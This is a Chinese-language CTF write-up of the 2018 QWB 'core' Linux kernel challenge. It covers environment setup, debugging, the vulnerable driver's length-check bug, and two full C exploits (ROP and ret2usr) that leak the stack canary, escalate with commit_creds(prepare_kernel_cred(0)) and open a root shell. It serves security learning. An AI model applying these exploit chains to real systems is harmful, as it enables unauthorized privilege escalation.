zoukankan      html  css  js  c++  java
  • Linux kernel pwn (一):ROP&&ret2usr

    前言

    国庆中秋八天假,除了出招新题和做软件工程的一个开发小demo,啥技术都没学到(效率不够呀,555)。

    这是博文是我根据2018年强网杯的core题的利用姿势学习记录的,由于内核pwn相对于用户态的pwn来说复杂很多,而网上记载入门的博客都比较简略(或者说是我太菜看不懂),所以这篇博文我会尽可能详细地记录,有错误的点希望师傅们斧正。

    前置知识

    部分内核pwn入门基础可见我的这一篇博文

    内核pwn应该怎么pwn

    与用户态的pwn不一样,内核pwn的漏洞一般是出现在驱动中,简单地说,驱动程序是一个内核程序,它驱动与之关联的特定设备。内核驱动模块运行时的权限是root权限,因此我们将有机会借此拿到root权限的shell。不同于用户态的pwn,kernel pwn不再是用python远程链接打payload拿shell,而是给你一个环境包,下载后qemu本地起系统,flag文件就在这个虚拟系统里面,权限是root,因此拿flag的过程也是选手在自己的环境里完成,exploit往往也是C编写。所以,我们一般是写c程序去调用有漏洞的内核驱动,以便去拿到root权限。

    proc_create函数

    首先介绍一下proc文件系统,proc文件系统是一个虚拟文件系统,里面有许多的虚拟文件,创建一个proc虚拟文件,应用层通过读写该文件,即可实现与内核的交互。
    而创建方法也就是proc_create函数;

    static inline struct proc_dir_entry *proc_create(const char *name, mode_t mode,struct proc_dir_entry *parent, const struct file_operations *proc_fops)。
    

    name就是要创建的文件名,mode是文件的访问权限,以UGO的模式表示,parent与proc_mkdir中的parent类似,也是父文件夹的proc_dir_entry对象。proc_fops就是该文件的操作函数了。
    这里最重要的应该是我们的第三个参数fop,也就是file_operations。这里会涉及到内核中文件系统的一些东西,笔者目前也还没有学习,这里大致说一下我自己的理解:这个结构体就是定义了我们利用上面的那个proc_create创建的结构体时可以调用的函数,用于用户态与内核态的交流,譬如本例题定义的proc_create("core", 438LL, 0LL, &core_fops),在我们的core_fops中定义了core_write函数,所以我们便可以利用open函数打开core这个文件:int fd = open("/proc/core", O_RDWR);然后利用write(fd, rop_chain, 0X800)调用core_write函数。

    一般内核pwn的前置处理

    以本题为例,给了bzImage:kernel映像;
    core.cpio:文件系统映像;
    start.sh:一个用于启动 kernel 的 shell 的脚本,多用qemu;
    vmlinux:类比成用户态pwn中的libc文件。
    解压core.cpio之后core目录里也有个vmlinux,调试时用core目录的vmlinux。
    关于bzImage与vmlinux的区别,详细可以参见该文章。简单来说,bzImage是压缩过的镜像,而 vmlinux是未经压缩的镜像,也就是说我们可以从 vmlinux 中找到一些 gadget。如果题目没有给 vmlinux,可以通过extract-vmlinux, 提取命令:./extract-vmlinux ./bzImage > vmlinux。
    关于start.sh,是QEMU的启动脚本。一般里面会设置内核的保护机制以及相关参数的设置,这里并没有开启SMEP(是ret2user利用的基础)。对于本题,需要将该文件中第二行的-m 64M改成-m 128M,不然内存不够用启动不了。

    qemu-system-x86_64 
    -m 64M 
    -kernel ./bzImage 
    -initrd  ./core.cpio 
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" 
    -s  
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
    -nographic  
    

    关于core.cpio的解压,可以参考一下:

    mkdir file
    cp ./core.cpio ./file/core.cpio.gz
    cd file
    gunzip ./core.cpio.gz
    cpio -idmv < ./core.cpio
    

    其实也可以在ubantu双击即可解压。
    对于本例,解压后的文件夹中有个有一个init文件,用于启动内核后初始化,查看一下:

    #!/bin/sh
    mount -t proc proc /proc
    mount -t sysfs sysfs /sys
    mount -t devtmpfs none /dev
    /sbin/mdev -s
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    cat /proc/kallsyms > /tmp/kallsyms
    echo 1 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    ifconfig eth0 up
    udhcpc -i eth0
    ifconfig eth0 10.0.2.15 netmask 255.255.255.0
    route add default gw 10.0.2.2 
    insmod /core.ko
    
    poweroff -d 120 -f &
    setsid /bin/cttyhack setuidgid 1000 /bin/sh
    echo 'sh end!
    '
    umount /proc
    umount /sys
    
    poweroff -d 0  -f
    
    • 对于echo 1 > /proc/sys/kernel/kptr_restrict中的kptr_restrict:
      通过 kptr_restrict 来控制/proc/kallsyms 是否显示symbol的地址,也就是函数的地址。echo 1 > /proc/sys/kernel/kptr_restrict,则不能通过/proc/kallsyms查看内核符号的地址了,但是这里有cat /proc/kallsyms > /tmp/kallsyms,所以可以在/tmp/kallsyms看到,没什么影响。
    • 对于echo 1 > /proc/sys/kernel/dmesg_restrict,这个参数是不让非 root 用户读取 dmesg 的输出信息的,dmesg包括开机信息等一些消息(对于本题似乎没有什么影响)。

    动态调试

    一般内核题中,都会有qemu模拟运行,然后利用gdb远程调试。方法如下:
    一,在我们的start.sh中添加-gdb tcp::ip或者-s(-gdb tcp::1234的简写)

    二,gdb中输入target remote:ip即可

    三,加载符号表,像本题中的vmlinux,直接利用file ./vmlinux即可
    四,加载驱动,add-symbol-file core.ko textAddr,而textAddr是指core.ko装载进内核空间后的.text段地址(其实就是装载基址)。可以利用root用户'cat /sys/module/core/sections/.text'查看。

    (注:上图我是用root用户查看的)

    漏洞分析

    直接拉进ida查看漏洞
    首先看到这是一个虚拟文件注册函数,注册了core文件

    它的fop有:



    然后查看我们的core_read函数:

    发现这里存在漏洞,可以通过设置off的值来泄露canary等信息。
    再查看我们的core_ioctl函数,发现这里可以设置我们的off,从而leak出有用的信息

    这里的漏洞点不太容易注意到,这里的函数参数a1即输入是八字节的有符号整数,而在qmemcpy函数中则是双字节的无符号整数,所以当设置a1=0xffffffffffff0200即可绕过a1>63的检查并在qmemcpy中得到a1为0x0200的值。并且v2为栈中的值,超长复制即可溢出。

    然后再查看我们的core_write函数

    发现我们的write函数可以往我们的name里面写进东西,所以可以在这里写进我们的ROP链。

    一些信息的获取

    gadget的获取

    由于要构造ROP链,所以我们肯定要gadget。获取gadget可以通过ROPgadget和Ropper
    这里说一下ROPgadget和Ropper如何获取我们所需要的gadget:

    ROPgadget --binary ./vmlinux > gadget          #把可用的gadget取进我们的gadget文件
    ropper --file ./vmlinux --nocolor > gadget     #把可用的gadget  取进我们的gadget文件
    然后再可以用grep筛选我们希望的gadget
    

    内核基地址的获取

    因为提权需要用到我们的commit_creds、prapare_kernel_cred内核函数。所以我们需要找到我们的内核基地址。
    首先找到这两个函数在vmlinux的偏移:

    from pwn import *
    elf = ELF('./core/vmlinux')
    print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
    print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
    


    然后在qemu里查看/proc/kallsyms中的 commit_creds 函数地址


    两者相减即可获得我们的内核加载基地址

    EXP以及分析

    本题有两个利用姿势,这里分别分析。

    方法一:ROP

    • 获取 commit_creds(),prepare_kernel_cred() 的地址: /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址。
    • 通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
    • 通过 core_write() 向 name 写,构造 ropchain
    • 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
    • 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
    • 返回用户态,通过 system("/bin/sh") 等起 shell
      具体EXP引用于孙小空师兄
    //sunxiaokong
    //gcc -static -masm=intel -g -o my_exp my_exp.c
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    
    #define INS_SET_OFF 0x6677889C
    #define INS_READ 0x6677889B
    #define INS_COPY_FUNC 0x6677889A
    
    int get_kernel_addr();
    void get_usr_regs();
    void shell();
    
    size_t canary = 0; // value of canary
    size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
    size_t off; // offset of kaslr
    size_t vmlinux_base; // base addr of vmlinux
    size_t rop_chain[100] = {0};  // rop chain
    size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
    
    int main(){
        get_usr_regs();
        get_kernel_addr();
        
        int fd = open("/proc/core", O_RDWR);
        if(fd < 0){
            puts("[T.T] open file error !!!");
            exit(0);
        }
        ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
        char *buf_leak = (char *)malloc(0x40);   // buffer of leak data
        ioctl(fd, INS_READ, buf_leak);   // leak canary in kernel-stack
        canary = *(size_t *)buf_leak;
        printf("[^.^] canary : 0x%lx
    ", canary);
    
        int i;
        for(i=0; i<10; i++){
            rop_chain[i] = canary;
        }
        rop_chain[i++] = 0xffffffff81000b2f + off;   // pop rdi ; ret
        rop_chain[i++] = 0;
        rop_chain[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
        rop_chain[i++] = 0xffffffff810a0f49 + off;   // pop rdx ; ret
        rop_chain[i++] = commit_creds;
        rop_chain[i++] = 0xffffffff8106a6d2 + off;   // mov rdi, rax ; jmp rdx
        rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
        rop_chain[i++] = 0;
        rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
        rop_chain[i++] = (size_t)shell;              // rip
        rop_chain[i++] = usr_cs;                     // cs
        rop_chain[i++] = usr_rflags;                 // rflags
        rop_chain[i++] = usr_rsp;                    // rsp
        rop_chain[i++] = usr_ss;                     // ss
    
        write(fd, rop_chain, 0X800);    // write payload to "name"
        ioctl(fd, INS_COPY_FUNC,  0xffffffffffff0000 | (0x100)); // stack overflow
    }
    
    /* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
    int get_kernel_addr(){
        char *buf = (char *)malloc(0x50);
        FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    
        while(fgets(buf, 0x50, kallsyms)){
            // fgets:read one line at one time
            if(strstr(buf, "prepare_kernel_cred")){
                sscanf(buf, "%lx", &prepare_kernel_cred);
                printf("[^.^] prepare_kernel_cred : 0x%lx
    ", prepare_kernel_cred);
            }
    
            if(strstr(buf, "commit_creds")){
                sscanf(buf, "%lx", &commit_creds);
                printf("[^.^] commit_creds : 0x%lx
    ", commit_creds);
                off = commit_creds - 0xffffffff8109c8e0;
                vmlinux_base =  0xffffffff81000000 + off;
                printf("[^.^] offset : 0x%lx
    ", off);
                printf("[^.^] vmlinux base : 0x%lx
    ", vmlinux_base);
            }
    
            if(commit_creds && prepare_kernel_cred){
                return 0;
            }
        }
    }
    
    /* save some regs of user mode */
    void get_usr_regs(){
        __asm__(
            "mov usr_cs, cs;"
            "mov usr_ss, ss;"
            "mov usr_rsp, rsp;"
            "pushfq;"
            "pop usr_rflags;"
        );
        printf("[^.^] save regs of user mode, done !!!
    ");
    }
    
    /* run a root shell */
    void shell(){
        if(!getuid())
        {
            system("/bin/sh");
        }
        else
        {
            puts("[T.T] privilege escalation failed !!!");
        }
        exit(0);
    }
    
    /*
    ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi
    0xffffffff81000b2f : pop rdi ; ret
    
    ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax"
    0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx
    
    ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx
    0xffffffff810a0f49 : pop rdx ; ret
    
    ROPgadget --binary ./vmlinux | grep swapgs
    0xffffffff81a012da : swapgs ; popfq ; ret
    
    ropper -f ./vmlinux > ./gadget.txt
    cat ./gadget.txt | grep iretq
    0xffffffff81050ac2: iretq; ret;
    */
    

    EXP具体解析

    canary的获取

    这里简单说一下如何设置off的值,从而leak出canary。一开始我的想法是根据ida中显示的偏移决定我们的off值

    可以看到,在ida中,v5是设置在我们的rbp-0x50,所以rbp-0x48的位置应该就是我们的canary。但是,像大家所说的,ida中的显示有时候是会有bug的,经过实际调试,我发现实际偏移并不是0x48


    从这里看出我们的canary的实际偏移是0x40,当我们写个POC先把我们的off值设置为0x40,然后调用core_read函数(要现在gdb调试,设置断点在我们的core_read函数),然后单步步入到我们copy_to_user函数,即验证我们成功leak出canary了


    上面EXP中leak canary的时候,设置off为0x40。

    基地址的leak

    这里的基地址包括内核的基地址以及我们的core这个驱动的基地址
    关于内核基地址的寻找上面已经说明,而对于驱动的加载地址,可以直接在我们/tmp/kallsyms查询即可。

    用户态寄存器保存

    通过 swapgs 恢复 GS 值
    通过iretq 恢复各寄存器值到用户态,参考 https://baike.baidu.com/item/iret/1314268?fr=aladdin
    会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。
    其中,rip的值,可以直接用我们EXP中写好的跑shell的地址,这样回到用户态后就直接跑shell了
    而cs、标志寄存器、rsp、ss都需要合法的值,因此可以在EXP中先将当前用户态的值保存下来,在ROP链中直接用这些值就可以了:

    __asm__(
            "mov usr_cs, cs;"
            "mov usr_ss, ss;"
            "mov usr_rsp, rsp;"
            "pushfq;"			//标志寄存器值入栈
            "pop usr_rflags;"
        );
    

    ROP链的构造

    先要构造commit_creds(prepare_kernel_cred(0))提权,然后将用户态的寄存器给赋合法值。

      for(i=0; i<10; i++){
            rop_chain[i] = canary;
        }
        rop_chain[i++] = 0xffffffff81000b2f + off;   // pop rdi ; ret
        rop_chain[i++] = 0;
        rop_chain[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
        rop_chain[i++] = 0xffffffff810a0f49 + off;   // pop rdx ; ret
        rop_chain[i++] = commit_creds;
        rop_chain[i++] = 0xffffffff8106a6d2 + off;   // mov rdi, rax ; jmp rdx
        rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
        rop_chain[i++] = 0;
        rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
        rop_chain[i++] = (size_t)shell;              // rip
        rop_chain[i++] = usr_cs;                     // cs
        rop_chain[i++] = usr_rflags;                 // rflags
        rop_chain[i++] = usr_rsp;                    // rsp
        rop_chain[i++] = usr_ss;                     // ss
    

    方法二:ret2user

    这里先说一下ret2user的原理:
    ret2usr 攻击利用了在没有开启SMEP(管理模式执行保护)的情况下,内核态CPU是可以访问执行用户空间的代码的。
    用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。
    这个方法其实跟上面所说的ROP基本没有区别,最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数,从而不需要rop调用,直接调用函数即可。

    // in user mode :
    /* commit_creds(prepare_kernel_cred(0)) */
    void privilege_escalation(){
        if(commit_creds && prepare_kernel_cred){
            (*((void (*)(char *))commit_creds))(
                (*((char* (*)(int))prepare_kernel_cred))(0)
            );
        }
    }
    

    ret2usr 做法中,直接返回到用户空间构造的 commit_creds(prepare_kernel_cred(0))(通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是 ring 0 特权,因此可以正常运行。之后也是通过 swapgs; iretq 返回到用户态来执行用户空间的 system("/bin/sh")
    最终EXP:

    //sunxiaokong
    //gcc -static -masm=intel -g -o my_exp2 my_exp2.c
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    
    #define INS_SET_OFF 0x6677889C
    #define INS_READ 0x6677889B
    #define INS_COPY_FUNC 0x6677889A
    
    int get_kernel_addr();
    void get_usr_regs();
    void privilege_escalation();
    void shell();
    
    size_t canary = 0; // value of canary
    size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
    size_t off; // offset of kaslr
    size_t vmlinux_base; // base addr of vmlinux
    size_t rop_chain[100] = {0};  // rop chain
    size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
    
    int main(){
        get_usr_regs();
        get_kernel_addr();
    
        int fd = open("/proc/core", O_RDWR);
        if(fd < 0){
            puts("[T.T] open file error !!!");
            exit(0);
        }
        ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
        char *buf_leak = (char *)malloc(0x40);   // buffer of leak data
        ioctl(fd, INS_READ, buf_leak);   // leak canary in kernel-stack
        canary = *(size_t *)buf_leak;
        printf("[^.^] canary : 0x%lx
    ", canary);
    
        int i;
        for(i=0; i<10; i++){
            rop_chain[i] = canary;
        }
        rop_chain[i++] = (size_t)privilege_escalation;
        rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
        rop_chain[i++] = 0;
        rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
        rop_chain[i++] = (size_t)shell;              // rip
        rop_chain[i++] = usr_cs;                     // cs
        rop_chain[i++] = usr_rflags;                 // rflags
        rop_chain[i++] = usr_rsp;                    // rsp
        rop_chain[i++] = usr_ss;                     // ss
    
        write(fd, rop_chain, 0X800);    // write payload to "name"
        ioctl(fd, INS_COPY_FUNC,  0xffffffffffff0000 | (0x100)); // stack overflow
    }
    
    /* save some regs of user mode */
    void get_usr_regs(){
        __asm__(
            "mov usr_cs, cs;"
            "mov usr_ss, ss;"
            "mov usr_rsp, rsp;"
            "pushfq;"
            "pop usr_rflags;"
        );
        printf("[^.^] save regs of user mode, done !!!
    ");
    }
    
    /* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
    int get_kernel_addr(){
        char *buf = (char *)malloc(0x50);
        FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    
        while(fgets(buf, 0x50, kallsyms)){
            // fgets:read one line at one time
            if(strstr(buf, "prepare_kernel_cred")){
                sscanf(buf, "%lx", &prepare_kernel_cred);
                printf("[^.^] prepare_kernel_cred : 0x%lx
    ", prepare_kernel_cred);
            }
    
            if(strstr(buf, "commit_creds")){
                sscanf(buf, "%lx", &commit_creds);
                printf("[^.^] commit_creds : 0x%lx
    ", commit_creds);
                off = commit_creds - 0xffffffff8109c8e0;
                vmlinux_base =  0xffffffff81000000 + off;
                printf("[^.^] offset : 0x%lx
    ", off);
                printf("[^.^] vmlinux base : 0x%lx
    ", vmlinux_base);
            }
    
            if(commit_creds && prepare_kernel_cred){
                return 0;
            }
        }
    }
    
    /* commit_creds(prepare_kernel_cred(0)) */
    void privilege_escalation(){
        if(commit_creds && prepare_kernel_cred){
            (*((void (*)(char *))commit_creds))(
                (*((char* (*)(int))prepare_kernel_cred))(0)
            );
        }
    }
    
    /* run a root shell */
    void shell(){
        if(!getuid())
        {
            system("/bin/sh");
        }
        else
        {
            puts("[T.T] privilege escalation failed !!!");
        }
        exit(0);
    }
    

    总结

    这是我入门Linux kernel pwn的一道题,所以这里尽可能详细的记录下来。虽然这道题很简单,但是自己也花了好几天去磕,但是感觉真的是受益匪浅吧!之前就说过,目前的学习方向是iot,但是实际上,现在还没有学多少内容。所以,现在的计划是,尽量在这两周学完内核pwn的几个姿势,应该还有UAF,Double fetch等。然后接下来就是把重心放回到iot研究上,顺带还会学堆的骚操作(看最近几个比赛的WP,发现堆真的好多骚操作,好想去学),然后还会学习操作系统,以及数据库和密码学等课堂知识 开学到现在就没听过课,划水狗是没有明天的!
    害,总之就是想学的东西很多,但是自己的效率不高。所以说,目前的重点是要提高自己的效率!

    参考

    http://p4nda.top/2018/07/13/ciscn2018-core/
    https://veritas501.space/2018/06/05/qwb2018 core/
    https://bbs.pediy.com/thread-247054.htm
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/#get-root-shell
    https://www.sunxiaokong.xyz/2020-02-09/lzx-qwb2018-core/#驱动分析
    https://www.jianshu.com/p/8d950a9d8974
    https://www.anquanke.com/post/id/172216#h3-14
    https://www.anquanke.com/post/id/201043#h3-6

  • 相关阅读:
    html添加注释怎么弄?
    编程语言本身是怎么开发出来的?
    一句话说明Facbook React证书的矛盾点
    XAMPP是什么?
    HTTP解析
    version control
    函数式编程语言
    Servlet之Filter
    Build tool
    container和injection
  • 原文地址:https://www.cnblogs.com/T1e9u/p/13805760.html
Copyright © 2011-2022 走看看